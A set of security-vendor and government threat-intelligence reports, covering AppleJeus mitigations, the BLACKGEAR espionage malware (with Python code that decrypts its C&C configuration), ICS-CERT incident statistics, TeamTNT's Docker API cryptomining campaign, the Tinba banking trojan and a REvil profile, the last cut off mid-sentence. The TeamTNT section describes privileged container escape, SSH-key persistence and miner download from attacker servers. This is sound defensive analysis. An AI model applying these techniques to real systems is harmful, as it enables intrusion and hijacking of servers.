Introduce a two-factor authentication solution as an extra layer of verification. - Use hardware wallets, which keep the private keys in a separate, secured storage area. - Remove impacted hosts from the network. - Change all passwords to any accounts associated with impacted hosts. - Reimage impacted host(s). - Install anti-virus software to run daily deep scans of the host. - Ensure your anti-virus software is set up to download the latest signatures daily. ### Pro-Active Mitigations Consider the following recommendations for defense against AppleJeus malware and related activity: - Verify the source of cryptocurrency-related applications. - Use multiple wallets for key storage, striking the appropriate risk balance between hot and cold storage. - Use custodial accounts with multi-factor authentication mechanisms for both user and device verification. - Patronize cryptocurrency service businesses that offer indemnity protections for lost or stolen cryptocurrency. - Consider having a dedicated device for cryptocurrency management. ## Contact Information Recipients of this report are encouraged to contribute any additional information that they may have related to this threat. For any questions related to this report or to report an intrusion and request resources for incident response or technical assistance, please contact: - The FBI through the FBI Cyber Division (855-292-3937 or [email protected]) or a local field office. - CISA (888-282-0870 or [email protected]). - Treasury Office of Cybersecurity and Critical Infrastructure Protection (Treasury OCCIP) (202-622-3000 or [email protected]).
# BLACKGEAR Espionage Campaign Evolves, Adds Japan To Target List **Posted on:** October 27, 2016 at 1:00 am **Posted in:** Malware, Targeted Attacks **Author:** Trend Micro BLACKGEAR is an espionage campaign which has targeted users in Taiwan for many years. Multiple papers and talks have been released covering this campaign, which used the ELIRKS backdoor when it was first discovered in 2012. It is known for using blogs and microblogging services to hide the location of its actual command-and-control (C&C) servers. This allows an attacker to change the C&C server used quickly by changing the information in these posts. Like most campaigns, BLACKGEAR has evolved over time. Our research indicates that it has started targeting Japanese users. Two things led us to this conclusion: first, the fake documents that are used as part of its infection routines are now in Japanese. Secondly, it is now using blogging sites and microblogging services based in Japan for its C&C activity. This post will discuss this C&C routine, the tools used in these attacks, and the connections between these tools. ## C&C configuration retrieval Backdoors used by BLACKGEAR share a common characteristic: they all retrieve encrypted C&C configuration information from blogs or microblogs. An attacker would register an account on these services and then create posts. The encrypted C&C information would be between two hardcoded tags. There are two reasons BLACKGEAR would use this technique. First, the beacon traffic of the backdoor would look like normal traffic to blogs. Secondly, the threat actor would be able to quickly change the C&C servers used if these were blocked. A defender would be unable to block this change in server from reaching any affected machines unless the legitimate site was blocked as well. ## Tools Used by BLACKGEAR The malware tools used by BLACKGEAR can be categorized into three categories: binders, downloaders, and backdoors. Binders are delivered by attack vectors (such as phishing and watering hole attacks) onto a machine. These, in turn, drop decoys and downloaders. The latter connect to various sites under the control of the attacker and download backdoors. These use persistent methods to ensure that they remain present on the affected machines to give attackers access to the machine in question. By separating the attack tools into three stages, threat actors are able to adapt quickly. If one component is detected and/or blocked, it can be replaced without disrupting the entire toolset. ### Binder The binder (which we detect as the TROJ_BLAGFLDR family) hides as a normal folder by changing its icon to a folder icon. Once the victim executes it, it executes the downloader in the background, drops a decoy folder that includes fake documents, then deletes itself. This is so the victim won’t notice that the malicious downloader has been executed. ### Downloader **TSPY_RAMNY** TSPY_RAMNY is a downloader dropped by TROJ_BLAGFLDR malware. To remain persistent, it moves itself to the Windows temp folder and drops a *.lnk (Windows Shortcut) file in the startup folder that points to itself. It also sends information about the compromised host (such as network settings) back to the download site. The download link is formatted in the following format: `http://{IP address}/{folder name}/{webpage name}` This is done so that if someone looks solely at the URL, the download of the backdoor will appear to be an ordinary website. **TSPY_YMALRMINI** TSPY_YMALRMINI is another downloader that is dropped by TROJ_BLAGFLDR malware, which also sends information about compromised hosts back to the download site. We were unable to determine which payloads were used by this downloader. However, our research indicates that some of these downloads are saved as drWaston.exe on the compromised host. This same file name is also used by some ELIRKS variants, indicating a possible connection. TSPY_YMALRMINI uses the same URL format as RAMNY. ### Backdoors **BKDR_ELIRKS** BKDR_ELIRKS was the first family of backdoors tied to BLACKGEAR. It retrieves encrypted C&C configuration information from various blogging or microblogging services. Once decoded, it connects to these C&C servers and waits for commands given by a threat actor. To remain persistent, it moves itself to the Windows temp folder and drops a *.lnk (Windows Shortcut) file in the startup folder that points to itself. Its backdoor routines include getting information from the compromised host, downloading and running files, taking screenshots, and opening a remote shell. **BKDR_YMALR** BKDR_YMALR is a backdoor written using the .NET framework which is also known as LOGEDRUT. The detection name comes from a log file created by this malware family named YMailer.log. Its behavior is similar to ELIRKS – both in terms of C&C information retrieval and available commands to a threat actor. ## Encryption and Decryption **BKDR_ELIRKS** Reverse analysis of ELIRKS allowed us to determine how to decrypt the C&C information, which is done in the following Python code: ```python #! /usr/bin/env python from ctypes import * def decipher(v, k): y=c_uint32(v[0]) z=c_uint32(v[1]) sum=c_uint32(0xC6EF3720) delta=c_uint32(0x61C88647) n=32 w=[0,0] while(n>0): z.value -= (y.value + sum.value) ^ (y.value * 16 + k[2]) ^ (( y.value >> 5 ) + k[3]) y.value -= (z.value + sum.value) ^ (z.value * 16 + k[0]) ^ (( z.value >> 5 ) + k[1]) sum.value += delta.value n -= 1 w[0]=y.value w[1]=z.value return w if __name__ == '__main__': key = [0x8F3B39F1, 0x8D3FBD96, 0x473EAA92, 0x502E41D2] ciphertext = [ciphertext1, ciphertext2] # you can input cipher text here res = decipher(ciphertext, key) plaintext = "%X" % (res[0]) c4 = str(int("0x"+plaintext[6:8],16)) c3 = str(int("0x"+plaintext[4:6],16)) c2 = str(int("0x"+plaintext[2:4],16)) c1 = str(int("0x"+plaintext[:2],16)) print c4+"."+c3+"."+c2+"."+c1 ``` The malware contains shellcode with two things: the URL of the blog entry and the tags that identify where in the fake articles the hidden C&C information is located. Once the fake blog/microblog posts are downloaded, the malware finds and decrypts the C&C information. The C&C information is stored in the post in two short bits of text. The first is an eight-character string that is decoded into a six-byte hexadecimal value. The second is a two-character string which is already in a hexadecimal format, and is concatenated towards the end. A modified version of the TEA algorithm decrypts these into the C&C server locations. **BKDR_YMALR** BKDR_YMALR implements the same behavior in a slightly different manner. It contains several encrypted strings. These encrypted strings are the result of the blog URLs and tags being first encoded with Base64, and then encrypted with DES. The encryption key and initialization vector are hardcoded, with both set to 1q2w3e4r. Once these have been decoded, BKDR_YMALR uses the same algorithm as ELIRKS to obtain the C&C information. ## Connections between tools More than just tools being used together, it appears that there are distinct connections between the different tools used by BLACKGEAR. The string “YMailer” shows up in the filenames of log files used by both BKDR_YMALR and TSPY_YMALRMINI, and it is in the PDB strings of the latter. The two downloaders TSPY_RLMNY and TSPY_YMALRMINI both use the string toolson in different places. Lastly, both downloaders and one backdoor share the same decryption key 1q2w3e4r. ## Conclusion Malware threats need to evolve or otherwise become non-threats. Similarly, to stay relevant, BLACKGEAR has evolved with both new tools and new targets, and will continue to be a threat for the foreseeable future. We will continue to monitor its activities in order to protect our customers. ## Indicators of Compromise (IOCs) **TROJ_BLAGFLDR** - 52d6b30bc578465d8079d9abd0d4c4826b51b25f - 800c7d54280f5f35e3b58a6d4dfd4845f6ed9e15 - 8b6614562a79a13e60d100a88f1ba4eb601636db - 98efee8dde7d493c0d35d02a2170b6d1b52987d3 **TSPY_RAMNY** - 02785ebcb683a380c80958f3fe2a52f805c5c12d - 74031e70ca3b4004c6b7a8197397882bc02c30cb - b4c63a0ff9b8eb8cc1a53a4dd036e93f9eeceeca **TSPY_YMALRMINI** - 048790098a7c6b8405761b75ef2a2fd8bd0560b6 - 96f3b52460205f6ecc6b6d1a73f8db13c6634afc **BKDR_ELIRKS** - 17cacabcf78c4b164bb0e7d9200289be9236e7bc - 4157ecd252dc09b533fcf6a778aca2c376601354 - 4f54cfcf266b73ca3759b9cb0252c27094b5b330 - 521a9d73191c7740f969ae3c53e6abf70ffbedf9 - 533565f7953fb1648d437d14d007003c6343b9ae - 80108d2aacb0a1f2a5350f71e7a04239fc5f96a9 - 8cad1bcbdd558802b34119fb57160cc748170133 - 9a768fae41ca7395b4257e85acef915e124c2981 - a70001c67e81d1dcf62f808760514b6df28a411a - a9ea07caafeb63133e5131f7a56bc8da1bc3d72a - dd0ceafbe7f4bf2905e560c3348545e32bc0f684 **BKDR_YMALR** - 02fed8cae7f3986c1344dd75d869ba23cfc4073a - 09d73b522f36786bb6e645b96f244bb51c3cc7ea - 0a59d52367435bc22a92c27d60023acec575a5fb - 0cc74332b1e213456693159d3ba12a3421036f68 - 1120f049dcb4a62809687dc277b42589d8d1caa6 - 12c8cc7e125572d614b708c056f7fd0ed49870c5 - 29b08d270ba6efcf57ca2ad33d8e3edd93d6b32a - 2d3d7b9521aec637f2e99624e0489b9f140d463f - 2de7d78615ec0fbf2652790d53b50ddb0472292c - 31de946255b240c0ae2f56786ac25183f3aaeea5 - 3aa8509715c7f55bdee831d5f7db22a2c516db43 - 3d175b1defe7076e0fe56076dd0d5f438de43324 - 4000244b2cba78a45034bb6ab2bac46d6a8a79ea - 4882735e8a465fac938fd04546a51efefb9806da - 48d373bdb31dcecd7f59bd5a964d062c8b6bfce8 - 49f6eb7f8e4a27f574c9a3e8c0da0b7895df7e41 - 4c7df09012fc88d336467691acf0afce64f40341 - 551f9a60203bec904487113e8d42dea463ac6ca9 - 5a4b15fa5a615a93191ede4c75dd3e65e87586dc - 5aa5117db6f420c81d2e1a7f036963a3c6ef02e9 - 5dc007d056513cba030ec16e15bdbb9ea5fe0e5a - 628309a60ad1fbe240486519de1424f7ddc2df4d - 636e7a9effb1a244697c880832e486de56260527 - 6bb5f51d03edd1acd7d38cca8095a237543c6a0d - 6c4786b792f13643d408199e1b5d43f6473f5eea - 6dd997409afec6fafbe54bd9d70d45fffff6a807 - 7142ca7079da17fa9871cbc86f7633b3253aeaed - 7254b719fd3cf87c8ac8ed9327c8e1bf99abf7af - 7329a789363f890c401c286dbaf3d2bf79ee14f7 - 7b2c4d14710cf2fd53486399ecc5af85cd75eca6 - 88e22933b76273793e4278c433562fb0b4fe125a - 8917c582ab5c2e831de6eba33b4f19d6e3a2cb70 - 8c325e92bf21d0c3737dbbc596854bc12184eeaf - 8f65cbde2f3b664bcede3822a19765bdb7f58099 - 9047b6b2e8fbaa8a06b2faaa30e038058444106a - 93c3f23905599df78cd5416dd9f7c171b3f1e29e - 94750bdae0fa190116a68e96d45f3d46c24b6cf1 - 9954a1c8e7b0e2f17841608f6b8c9d042b7a0780 - 9b96646d152583ff58c2c29191cb1672847d56b6 - 9f5a3b6db752d617f4d278d6531e2bbdb7faa977 - a30cc98ceb5d3379e80443f68a186326926f73ce - a893896af5468ac6e04cdd13edff8cae04800848 - a8f461749c7fe2a21116b8390cf84a8300009321 - a9108bf3ce39cea40e46ac575247a9a7c077b2a8 - a9fd9ade807af4779f3eea39fed2c583a50c8497 - ac014e4c2d68f6c982ac58738857b698b9e46af5 - acaec2b0f86ec4262be5bb8bcebcc12093e071ba - ad61c51b03022ef6bcb5e9738fe2f621e970ecb3 - b28f6ba3d6571c5d85cb5276cbcdce9adf49d5a9 - bc61f1b3c8eb3bda2071f6caf71ff23705128ca5 - c30b305a7bea9a2f61aca2dbcf596c2b0c0e4fa0 - c4c747f26f95fdbfc5bff04688dc76ae0bb48fff - c58d6fc761dec675ab45ad5c3682ffc9936cf357
# ICS-CERT Incident Response Summary Report (2009−2011) ## OVERVIEW The Department of Homeland Security (DHS) Control Systems Security Program manages and operates the Industrial Control Systems Cyber Emergency Response Team (ICS-CERT) to provide focused operational capabilities for defense of control system environments against emerging cyber threats. To accomplish this mission, ICS-CERT: - Responds to and analyzes control systems related incidents. - Conducts vulnerability and malware analysis. - Provides onsite support for incident response and forensic analysis. - Provides situational awareness in the form of actionable intelligence. - Coordinates the responsible disclosure of vulnerabilities/mitigations. - Shares and coordinates vulnerability information and threat analysis through information products and alerts. This report provides a summary of cyber incidents, onsite deployments, and associated findings from the time ICS-CERT was established in 2009 through the end of 2011. The report is divided into three main sections: 1. The first section gives a summary of incident reports and outlines major highlights for each year. Statistics are provided for incident response support as well as onsite deployments. Typical incident response support consists of analysis performed in the Advanced Analytics Lab (AAL) on digital media, malware, log files, and other artifacts. Companies request analysis support from ICS-CERT to help determine the extent of the compromise and gather information about cyber attacks, including the adversary’s techniques and tactics. This information helps asset owners evaluate their security posture and take measures to strengthen their control systems and network security. 2. The second section examines the onsite response efforts in detail and gives a summary of each deployment. At the request of a company and when appropriate, ICS-CERT can deploy an onsite incident response team to help triage a cyber incident affecting a critical infrastructure owner/operator with the purpose of identifying threat vectors, collecting data for analysis, assisting with immediate mitigation efforts, providing cybersecurity threat briefings, and identifying future defense strategies. 3. The third section presents common findings from onsite vulnerability assessments and discusses security gaps that asset owners should address to improve the secure posture of their systems. ## PROTECTING INFORMATION Organizations submitting information to DHS regarding cyber incidents can request that their information be designated as Protected Critical Infrastructure Information (PCII) under the Critical Infrastructure Information Act (the CII Act) of 2002. Under the CII Act, information designated as PCII is protected from disclosure through a Freedom of Information Act request or through a request under a similar state, tribal, or territorial disclosure law and is protected from regulatory uses. In addition, the identity of the submitting organization is protected from disclosure to the public. ICS-CERT’s practice is to use cover names for organizations it assists (such as “Energy 2” or “Transportation 3”) to obfuscate their actual names. ## SECTION 1: INCIDENT RESPONSE SUMMARY Reviewing all incidents reported to and correlated by ICS-CERT from 2009 through 2011 provides context for the industrial control system (ICS) threat landscape during this period. ### 2009 REPORTED INCIDENTS In 2009, ICS-CERT’s inaugural year, nine incident reports were received, four were confirmed as actual incidents. Of those, two resulted in the deployment of onsite response teams. An additional two incidents involved remote analysis by the AAL to identify the threat and recommend mitigation strategies. ### 2010 REPORTED INCIDENTS Forty-one incident reports were received in 2010. Of the 41, eight resulted in the deployment of onsite response teams. An additional seven incidents involved remote analysis by the AAL. ICS-CERT received multiple reports of secure shell (SSH) brute force attacks attempting to access ICS and critical infrastructure companies who operate ICS. Although this type of activity was commonly recognized in the IT sector, these incidents marked an increased awareness of the attack potential and attractiveness of targeting ICS. ICS-CERT published a report titled “CSAR-10-088-01—SSH Brute Force Scanning and Attacks” to inform asset owners about how to identify brute force scanning and attacks, how to mitigate the risks, and when to report an incident. ### 2011 REPORTED INCIDENTS In 2011, ICS-CERT received 198 reports of incidents. Of those 198, seven resulted in the deployment of onsite incident response teams. An additional 21 incidents involved analysis efforts by the AAL to identify malware and techniques used by the threat actors. Many of these Internet-facing control systems employed a remote access platform from the same vendor, configured with an unsecure authentication mechanism. ICS-CERT coordinated with the vendor to mitigate the authentication vulnerability and also took on the task of identifying and notifying the affected asset owners. ## SECTION 2: ONSITE INCIDENT RESPONSE SUMMARY Onsite incident response support to critical infrastructure asset owners and operators impacted by cyber incidents is an important aspect of ICS-CERT capabilities. Deploying a team onsite is always conducted at the request of the asset owner/operator and only when appropriate thresholds have been met. ICS-CERT provided onsite support to critical infrastructure asset owners on 17 separate occasions: two in 2009, eight in 2010, and seven in 2011. In all cases, ICS-CERT performed network topology reviews while onsite, to include a thorough review of the interconnections between ICS and enterprise networks, existing security and logging mechanisms, and interviews with personnel to describe existing procedures and common practices. ICS-CERT also left asset owners with recommendations for strengthening overall cybersecurity and enhancing incident response capabilities and procedures. ### INCIDENT RESPONSE GOALS ICS-CERT performs incident response with four primary goals: 1. Provide one-on-one support to the impacted organization to characterize the nature of the attack (actors, malware, techniques, and tactics) and determine the extent of compromise. 2. Develop guidance for the impacted organization and recommend a path for recovery and future protection. ICS-CERT does not provide direct recovery services but is always available to clarify the recovery recommendations. 3. Leverage the information obtained from onsite response activities to provide situational awareness warnings and alerts to the rest of the critical infrastructure and key resources community (without attribution to the affected organization). 4. Collect threat actor indicators, techniques, tactics, and procedures to correlate with other incidents and share with National Cybersecurity and Communications Integration Center partners. ## SECTION 3: COMMON FINDINGS This section summarizes key metrics from onsite deployments and common findings from incident response events. ### KEY METRICS FROM ONSITE DEPLOYMENTS An analysis of the onsite deployment events provides some key findings regarding the threat environment, methods of detection, and incident response activities. These findings highlight areas for improvement in protecting control systems networks. **THREATS** The most common infection vector for network intrusion was spear-phishing emails with malicious links or attachments. Spear-phishing accounted for 7 out of 17 incidents. Sophisticated threat actors were present in 11 of the 17 incidents, including the actors utilizing spear-phishing tactics to compromise networks. **DETECTION** Properly developed and implemented detection methods are the best strategy to quickly identify intrusions and implement mitigation and recovery procedures. Most of the organizations to which ICS-CERT responded were not prepared with adequate detection techniques. **RESPONSE** In three cases, ICS-CERT responded with onsite deployments to incidents and determined that the attacks were not targeted at the asset owner. In the other onsite response situations, the infection vector could not be determined. ### COMMON FINDINGS — ALL INCIDENTS Through analysis of the findings from the onsite incident response events, the incident reports, and the results from over 150 onsite assessments, ICS-CERT has identified common trends in operational security gaps in control systems environments. These findings can be broken down into three major categories: 1. People 2. Process 3. Technology **PEOPLE** An organization’s personnel can contribute to cybersecurity gaps when they lack understanding of the overall security risk to control systems, do not consider the technical and security impacts of inadequate security policies, or lack the cybersecurity skills needed to provide protection of its network against cyber attacks. **PROCESS** An organization’s processes can result in cybersecurity gaps due to a lack of or insufficient incident response planning, lack of policies or processes for moving security operations from a tactical level to a core business competency, and lack of minimum functional and security standards necessary to develop adequate security maturity throughout the organization. **TECHNOLOGY** An organization’s technology can result in cybersecurity gaps due to control systems environments risk assessments not identifying or prioritizing significant technical risks, lack of security management framework, and inadequate patch management policies and practices. ## GOING FORWARD ICS-CERT and the ICS community have worked together successfully to identify and mitigate malicious cyber activity in critical infrastructure assets, but much remains to be done. ICS-CERT encourages ICS companies to report cyber incidents for tracking, correlation, and support. Sophisticated and targeted cyber intrusions against ICS across multiple critical infrastructure sectors continue to increase. ICS-CERT developed guidance to provide basic recommendations for owners and operators of critical infrastructure to mitigate the impacts of cyber attacks and enhance their network security posture. In 2012, ICS-CERT continues to provide situational awareness information about emerging threats and incident response services to assist with mitigation and recovery efforts.
# Compromised Docker Hub Accounts Abused for Cryptomining Linked to TeamTNT In October 2021, we observed threat actors targeting poorly configured servers with exposed Docker REST APIs by spinning up containers from images that execute malicious scripts. As a part of our threat research, we closely monitor actively exploited vulnerabilities and misconfigurations. One such frequently abused misconfiguration is that of exposed Docker REST APIs. In October 2021, we observed threat actors targeting poorly configured servers with exposed Docker REST APIs by spinning up containers from images that execute malicious scripts that do the following: 1. Download or bundle Monero cryptocurrency coin miners 2. Perform container-to-host escape using well-known techniques 3. Perform internet-wide scans for exposed ports from compromised containers We identified Docker Hub registry accounts that were either compromised or belong to TeamTNT. These accounts were being used to host malicious images and were an active part of botnets and malware campaigns that abused the Docker REST API. We have reached out to Docker and the accounts in question have been removed. ## Malicious Script Found in Docker Images The images contain a malicious script named “pause” which is run when a new container is spawned. INIT_MAIN calls the SETUP_APPS function, which updates and adds the tools that are used in the subsequent procedures in adversarial ways. INIT_MAIN creates an infinite loop and sends a GET request to `http://teamtnt[.]red/RangeDA.php`. It also receives a numeric response, which is later used in the “pwn” function as a supplied argument. If the curl attempt fails, a random number between 1 and 255 is generated and assigned to the `$RANGE` variable. “pwn” is a wrapper around masscan and scans for ports 2375, 2376, 2377, 4243, 4244, similar to our previously reported distributed denial-of-service (DDoS) botnet artifacts in 2020. However, in this case, another function (CHECK_INTER_SERVER) is called, supplying the IP addresses and port values. CHECK_INTER_SERVER first checks if the operating system of the remote IP address contains “linux” by requesting the “info” of the exposed Docker REST API server. Using this command, one can find out various metadata about the server, such as the number of paused running and stopped containers, supported runtimes, server version, architecture, and others. We observed that the code looks into the following properties to set flags and identify if the server that is currently being scanned is a Docker swarm manager: 1. OSType: Describes the operating system of the server 2. Repository: Container Registry that is set for use 3. Architecture: Architecture of the server 4. Swarm: Current swarm participation status 5. CPUs: Number of CPU cores of the server To gain more details about the misconfigured server such as uptime and total memory available, the threat actors also spin up containers using docker-cli by doing the following: 1. Setting the “--privileged” flag 2. Using the network namespace of the underlying host “--net=host” 3. Mounting the underlying hosts’ root file system at container path “/host” Immediately after this, the script spawns a new container by using the “--privileged” flag, mounting the host root file system, and sharing the hosts’ network namespace from the image “alpineos/dockerapi,” which has over 10K+ pulls from Docker Hub as of November 09, 2021. After this is done, there is another attempt to spawn a new container on the same server but with a different motive. This container is created from an official image of the “alpine” operating system and executed with flags that allow root-level permissions on the underlying host, except for the fact that a base64-encoded string is piped to “bash” after being decoded. A new Secure Shell (SSH) key pair is created and the attributes of the folders are changed with the immutable bit. TeamTNT’s public key is appended to `/root/.ssh/authorized_keys` so that the threat actors can now log in using the generated public-private key pair. Later, the public key is removed. Monero miner scripts are downloaded from TeamTNT’s server and piped to “bash” using an SSH session on the underlying host as the “root” user by supplying the private key from “/tmp/TeamTNT.” Later, the private key “/tmp/TeamTNT” is removed as well. We take a quick look at the history of the images {Redacted account} (left) and “alpineos/docker2api” (right). Here we can see the commands that will be executed when a container is created from these images. It is also important to note the “pause” script. Upon diffing the “pause” scripts from both the images, we see some incredible similarities in the code, with a few differences. In particular, there is a difference in the way masscan is being used. There are also a few commented sections, indicating that the threat actors were moving ahead, testing their tools and arsenal. Notably, the IP address 45[.]9[.]148[.]182 has a history of being associated with TeamTNT’s infrastructure, as it has been used by multiple domains: - dl.chimaera[.]cc - githb[.]net (inactive) - github-support[.]com (inactive) - irc.borg[.]wtf - irc.chimaera[.]cc - irc.teamtnt[.]red Our July 2021 research into TeamTNT showed that the group previously used credential stealers that would rake in credentials from configuration files. This could be how TeamTNT gained the information it used for the compromised sites in this attack. Based on the scripts being executed and the tooling being used to deliver coinminers, we arrive at the following conclusions connecting this attack to TeamTNT: 1. “alpineos” (with a total of more than 150,000 pulls with all images combined) is one of the primary Docker Hub accounts being actively used by TeamTNT. 2. There are compromised Docker Hub accounts that are being controlled by TeamTNT to spread coinmining malware. We have already reached out to Docker, and the accounts involved in this attack have been removed. In an upcoming blog, we will take a look into the attack techniques being used by the threat actor. ## Conclusion Exposed Docker APIs have become prevalent targets for attackers as these allow them to execute their own malicious code with root privileges on a targeted host if security considerations are not accounted for. This recent attack only highlights the increasing sophistication with which exposed servers are targeted, especially by capable threat actors like TeamTNT that use compromised user credentials to fulfill their malicious motives. ## Indicators of Compromise **Type** **Identifier/Hash** Shell 79ed63686c8c46ea8219d67924aa858344d8b9ea191bf821d26b5ae653e555d9 Shell 497c5535cdc283079363b43b4a380aefea9deb1d0b372472499fcdcc58c53fef Shell a68cbfa56e04eaf75c9c8177e81a68282b0729f7c0babc826db7b46176bdf222 Domain teamtnt[.]red IP 45.9[.]148.182
# Tinba Trojan Sets Its Sights on Romania Malware August 12, 2015 By Limor Kessem While Romania is widely suspected of being home to a large amount of cybercriminals – even with one city dubbed by some as “Hackerville” – we seldom see it targeted by those who attack Western countries. In a recent finding, IBM Security X-Force researchers discovered an interesting Romania-focused configuration of the Tinba v3 Trojan, which exclusively targets 12 Romanian banks. ## What’s New? In late July 2015, IBM Security X-Force researchers analyzed a new Tinba v3 Trojan configuration file that is, according to our data, the first of its kind dedicated to Romanian banks. Previous versions of this malware attacked a number of European countries, but Romania wasn’t among them and is rarely a top target. Our analysis reveals that Tinba v3’s developers have expanded the capabilities and reach of the malware by updating its web injections to match the new banks targeted in the Eastern European country. ## The Tinba Bunch The Tinba Trojan (also known as TinyBanker or Zusy) was first discovered in the wild in mid-2012. It was dubbed “tiny” due to its slim 20 KB file size, which included its configuration and web injection kit. This malware initially acted like a classic banking Trojan, dedicated to grabbing user credentials and network traffic. The first Tinba release sported a form grabber to steal usernames and passwords and a web injection mechanism for man-in-the-browser (MitB) attacks. Although it started out as a tool used exclusively by its developers and their gang, its source code was leaked in mid-2014, and the project then began evolving in other directions. That code leak gave immediate rise to two more Tinba variations, which were taken up by different gangs, spawning Tinba v2 and Tinba v3. Each is a fully independent Trojan variation, clearly developed and updated by different individuals. The most recent addition to the Tinba bunch is a fourth variation. Again, a new gang took the source code and revamped it to create a unique banking Trojan. In late June 2015, this gang lured in victims via a malvertising campaign, which led users to an exclusive exploit kit called HanJuan. HanJuan then dropped Tinba 4, the actual banking malware. Of all the Tinba variations, v3 appears to be the most active and possibly commercially available. It is more prolific and appears to be used by more than one group. ## Tinba v3 Extending Its Reach The configuration that targets Romanian banks at this time is linked with Tinba v3. Right from its first release, this variation showed that the developer behind it put some work into new features designed to enhance the Trojan’s evasion techniques, bypass automated security controls and “phone home,” even when the original command-and-control (C&C) server is down. Botmasters typically strive to protect their botnets from potential hijacking and takedowns, and Tinba v3’s developer took extra care to ensure that its fallback mechanisms would secure the illicit business continuity. In terms of its modus operandi, Tinba v3 relies on four principal fraud capabilities: - A persistent user-mode rootkit - The ability to steal any set of credentials with a generic form grabber - MitB capabilities - Dynamic web injection mechanisms Tinba v3 uses a few browser injection approaches. For example, the Trojan works with an automated transfer system (ATS) panel. ATS is fraudster lingo for a remote platform that Trojans access on the fly. The ATS contains transaction automation scripts, preprogrammed parameters and thresholds and mule account numbers that the malware relies on to complete illicit online transactions. ATS was much more popular before two-factor authentication schemes came into the equation, but it is still effective in this case. The panels used by Tinba include dynamic social engineering designed to ask for the victim’s one-time password and then plug it into the bank’s page to complete the transaction. Another common web injection approach Tinba v3 uses in its configurations is called FI-Grabber, short for full information grabber. This is lingo for an injection that asks the victim to key in a large amount of personally identifiable information (PII) and other private details about the account. These grabbers are accessed on a remote server and automatically match the most relevant injection to the bank the victim is browsing. FI-Grabbers are actually a paid cybercrime service that promises effective injections leading to a successful transfer. This all happens in real time and without exposing the Trojan’s actual injections inside the configuration file. Reaching out to an FI-Grabber is considered to be a more advanced means of manipulating web sessions while still keeping the Trojan’s secrets under wraps. The malware’s fraud scenario is similar to other Trojans of this grade: collect victims’ credentials, grab PII and use social engineering to steal two-factor authentication codes. Actual illicit transactions generated from Tinba-infected users typically come from the victim’s own device, which is indicative of the use of automation after the victim keys in the one-time password. Tinba-enabled illegitimate online banking operations take place via a remote transaction orchestration panel. ## Threat Status In terms of Tinba’s proliferation this year, IBM Security data shows that this malware is ranked sixth in popularity. It is right behind Gozi, which is considered commercial malware. Tinba v3 attacks online banking customers all over Europe, mainly targeting Poland, Italy, Germany and the Netherlands. Per IBM Security X-Force data, this is the very first time we identified any of the Tinba variations attacking in Romania. ## What’s Next for Romania? Based on other Tinba v3 campaigns that IBM Security is familiar with, we expect to see more Tinba attacks in Romania going forward. The country may only be starting to face Tinba, but it is already plagued by the Dridex Trojan, Dyre, Neverquest and Zeus v2 variants. IBM Security data shows that, since the beginning of 2015, the most active Trojan in Romania is Dridex, but that could stand to change if Tinba accelerates its activity. Since Tinba v3 web injections are designed to harvest large amounts of personal information as well as two-factor authentication codes during the web session, IBM Security recommends that banks alert their customers of the threat and refresh the online banking security education sections of their websites. Romanian banks should ask customers to report suspicious emails. These financial institutions should also work closely with their antifraud provider to lower and contain risks as much as possible.
# Inside REvil Extortionist “Machine”: Predictive Insights **Takeaways** - Cybercrime groups often operate on traditional crime group behavioral patterns. - REvil's main collective group patterns are: seeking attention, aggression motivated by impunity, overconfidence, and rigid group identity. - REvil's behavioral patterns have likely directly triggered and impacted their recent attacks against high-profile entities. - REvil operations against famous and politically engaged public entities and personalities will likely become their syndicate’s main focus. ## Introduction The REvil Group is one of the most prominent Russian-speaking ransomware groups in the cyber domain. In May, it made headlines for extorting numerous high-profile clients of the New York City-based entertainment and media law firm Grubman Shire Meiselas and Sacks, as well as the California-based IP law firm Vierra Magen Marcus. The threats had impactful political implications as these firms represent high-profile clients, such as President Donald Trump and the United States Navy, respectively. After attempting to threaten President Trump with a $42 million USD extortion, the group was even branded as a terrorist organization. Naturally, the attacks and the subsequent political response have changed REvil’s place in the cybercrime ecosystem. On one hand, the group is now more well-known than it has ever been. On the other hand, the Russian-speaking cybercrime community is demonstrating explicit resentment to the syndicate’s actions. This resentment could lead REvil to lose its foundation within the community, which is existentially important to an organized cybercrime group. Recent events can shed light on essential aspects underlying REvil's operations—collective identities and psychological patterns that define them as a criminal enterprise. The way that REvil communicates, operates, and builds relationships is determined by the psychological and organizational motives of its members, their perception of hierarchy, self-identification, and their relationship with the community. We have investigated REvil’s discourse and behavior by applying the methodologies and concepts of criminal psychology to identify the group’s unique characteristics revealed by their recent involvement in large, ethically questionable attacks against medical institutions and politically impactful extortions. By applying these methodologies, we attempt to achieve a deeper understanding of the group’s actions in order to successfully predict and prevent its operations. ## The Breach of Trust: Extorting the Extortionist On April 15, 2020, on the XSS forum, an actor “Vivalamuerte” claimed that they have information on UNKN, the leader of the REvil group. This event, most likely preceded by a month of private negotiations, was the first major conflict between REvil and members of the Russian-speaking community—a major breach of trusted relationships. Vivalamuerte threatened to reveal information about UNKN's identity unless paid $190,000 USD. Vivalamuerte claims this is the amount that REvil’s leader owes them as this sum was invested in UNKN’s original cryptolocker creation efforts in 2016. To make matters worse for UNKN and their team, prior to this extortion, UNKN lost over $150,000 in a transaction operated by the Exploit forum administrators—another significant trust breach. Two weeks later, on April 27, 2020, an Exploit forum user EXPL0 asked in broken Russian if there was room in the REvil Group ransomware program. REvil denied the request due to EXPL0’s non-Russian background. However, a couple of weeks later on May 13, 2020, UNKN shared that there had been a breach and disclosure of authentication data and blamed it on EXPL0, who was integrated into the syndicate by one of UNKN’s Russian-speaking affiliates. This deterioration of relationships between REvil and the cyber community correlated with the group’s attacks becoming more aggressive, outrageous, and unethical. For instance, on March 13, 2020, when the private negotiations with “Vivalamuerte” extortionists were likely taking place, REvil hacked a biotechnology company, 10x Genomics, despite the COVID-19 pandemic and possible healthcare ramifications from the attack. On May 14, 2020, REvil hacked entertainment and media law firm Grubman Shire Meiselas and Sacks in order to extort high-profile clients, such as Madonna, Bruce Springsteen, and Donald Trump. Then, on May 29, REvil continued the pattern of targeting high-profile law firms, hacking IP law firm Vierra Magen Marcus. It is likely that these events are connected. The team threatened by the “Vivalamuerte” attack on their anonymity aggravated by the EXPL0 case was taking actions defined by a threat-driven mindset. REvil may have resorted to extorting top-tier companies and individuals in order to obtain a higher payload and ensure that Vivalamuerte does not expose UNKN. The group may have been uniquely motivated to pursue highly visible targets in the hopes of obtaining higher payouts. But the connection between this extortion and REvil's recent aggressive behavior is likely even deeper—defined by collective and individual psychology—specifically matters of overconfidence, feelings of impunity, and identity formation. ## Attention, Impunity, Confidence REvil 